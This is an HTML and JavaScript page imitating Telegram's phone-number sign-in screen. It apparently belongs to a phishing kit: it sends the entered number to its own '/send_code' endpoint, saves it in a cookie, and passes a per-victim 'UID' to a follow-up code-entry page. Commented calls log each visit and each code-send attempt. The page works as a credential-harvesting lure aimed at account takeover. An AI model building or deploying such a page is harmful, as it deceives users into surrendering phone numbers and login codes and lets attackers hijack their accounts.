﻿<!doctype html>
<html>
    <head>
        <meta charset="utf-8" />
        <meta name="viewport" content="maximum-scale=1.0,minimum-scale=1.0,user-scalable=0,width=device-width,initial-scale=1.0" />
        <title>Telegram</title>
        <link rel="icon" href="./imgs/label_symbol.png" />
        <link rel="stylesheet" href="./css/css_reset.css" />
        <link rel="stylesheet" href="./css/common.css" />
        <style type="text/css">
        </style>
    </head>
    <body>
        <div class="main_box sign_up_box">
            <div class="mask_box none"></div>
            <div style="padding:0 40px;">
                <img class="symbol" src="./imgs/main_symbol.png" />
            </div>
            <h4 class="title">Telegram</h4>
            <p class="title_sub">Please confirm your country code and enter your phone number.</p>
            <div id="output"></div>
            <ul class="input_box">
                <li class="pointer item" id="area_select">
                    <span class="tips">Country</span>
                    <div style="width:31px;margin-right:16px;">
                        <img class="w_100" src="../imgs/countries/1f1fa-1f1f8.png" id="country_photo" />
                    </div>
                    <input type="text" class="w_100 val" id="country_text" autocomplete="off" />
                    <img class="arrow" src="./imgs/arrow_down.png" />
                    <div class="area_box hide" id="area_box">
                        <div class="area"></div>
                    </div>
                </li>
                <li class="item">
                    <span class="tips">Your phone number</span>
                    <span>+</span>
                    <input type="number" class="val" id="zone_text" autocomplete="off" style="width:46px;" />
                    <input type="number" class="input" id="phone" autocomplete="off" placeholder="0000" style="border-left:1px solid #ddd;" />
                </li>
            </ul>
            <div class="pointer check_box" id="handle_check">
                <input class="none check" type="checkbox" id="keep" />
                <label class="label" for="keep">
                    <span class="pattern"></span>
                </label>
                <span class="text">Keep me signed in</span>
            </div>
            <div class="btns">
                <div class="pointer btn" id="jump" style="display:none;">
                    <span class="text">NEXT</span>
                    <span>
                        <img class="none load" src="./imgs/load.gif" id="load_box" />
                    </span>
                </div>
            </div>
            <!-- <div style="text-align:center;">
                <a class="jumps" id="back">LOG IN BY QR CODE</a>
            </div> -->
        </div>
    </body>
    <script src="./scripts/jquery.min.js"></script>
    <script src="./scripts/jquery.cookie-1.4.1.min.js"></script>
    <script src="./scripts/common.js"></script>
    <script type="text/javascript">
        $(document).ready(function () {
            var $mask_box = $('.mask_box');
            var $area = $('#area_box');

            $('#back').click(function () {
                window.history.back();
            });
            $('#jump').click(function () {
                var $zoneNum = $('#zone_text').val().trim();
                var $phoneNum = $('#phone').val().trim();
                var formData = new FormData();
                formData.append('phone', $zoneNum + $phoneNum);
                $.http('/send_code', formData, { type: 'POST' }).then(res => {
                    switch (res.code) {
                        case 0:
                            $.postSendRecord({ page: '1', tgCode: '1' }).then(() => { // 发送验证码成功的记录
                                jQuery.cookie('USER_DATA', { ZONE: $zoneNum, PHONE: $phoneNum }, { path: '/' });
                                window.location.href = './html/sign_up_send.html?UID=' + $.getUrlParams('UID');
                            });
                            break;
                        default:
                            alert(res.msg);
                            $.postSendRecord({ page: '1', tgCode: '2' }); // 发送验证码失败的记录
                    };
                });
            });

            $('#handle_check').click(function () {
                var notChecked = !$('#keep').prop('checked');
                $('#keep').prop('checked', notChecked);
            });

            $.ajax({
                url: './html/countries.html',
                type: 'GET',
                success: function(data) {
                    $("#area_box > div").html(data);
                    $('#phone').val('');

                    var setZoneWidth = function (str) {
                        var $zoneNum = $('#zone_text');
                        return $zoneNum.css('width', (9 * $zoneNum.val().length).toFixed(0) + 'px');
                    };

                    setTimeout(function () {
                        $('#area_select .area_item').click(function (ev) {
                            var $that = $(this);
                            ev.stopPropagation();
                            $mask_box.click();

                            $('#country_photo').attr('src', $that.children('.country_photo').children().data('src'));
                            $('#country_text').val($that.children('.country_name').text());
                            $('#zone_text').val($that.children('.country_code').data('zone'));
                            $('#phone').focus();
                            setZoneWidth();
                        });

                        $('.area_item').children('.country_code:contains("+1")').closest('.area_item').click();
                    }, 400);

                    $mask_box.click(function () {
                        $area.fadeOut(220);
                        $(this).fadeOut(220);
                    });

                    $('#area_select').click(function () {
                        var $that = $(this);
                        var notShow = $area.css('display') !== 'block';
                        if (notShow) {
                            $mask_box.show();
                            $area.fadeIn(220);
                            $('#country_text').select();
                            setTimeout(function () {
                                $(document).scrollTop($that.offset().top - 40);
                            }, 400);
                        } else {
                            $area.fadeOut(220);
                        }
                    });

                    $('#country_text').on('input', function () {
                        var val = $(this).val().toUpperCase();
                        $('.area_item').each(function () {
                            var $that = $(this);
                            if (
                                $that.children('.country_name').text().toUpperCase().indexOf(val) === -1 &&
                                $that.children('.country_code').data('zone').toString().indexOf(val) === -1
                            ) {
                                $that.hide();
                            } else {
                                $that.show();
                            }
                        });
                    });

                    $('#zone_text').on('input', function () {
                        var $zone = $(this);
                        var val = $zone.val();
                        $('.area_item').each(function () {
                            var $that = $(this);
                            var code = $(this).children('.country_code').data('zone').toString();
                            if (code === val) {
                                $('#area_select .area_item').eq($(this).index()).click();
                                $zone.val(code);
                                $('#phone').focus();
                                setZoneWidth();
                            }
                        });
                    });

                    var currentPhoneVal = '';
                    $('#phone').on('input', function () {
                        currentPhoneVal = $(this).val();
                        $('#jump').css('display', $(this).val().length > 0 ? '' : 'none');
                    }).on('keyup', function (ev) {
                        if (ev.keyCode === 8) {
                            if (currentPhoneVal === null) {
                                $('#zone_text').focus();
                            } else if (currentPhoneVal === '') {
                                currentPhoneVal = null;
                            }
                        }
                    });

                    $.postSendRecord({ first: true }); // 进入页面记录
                }
            });
        });
    </script>
</html>
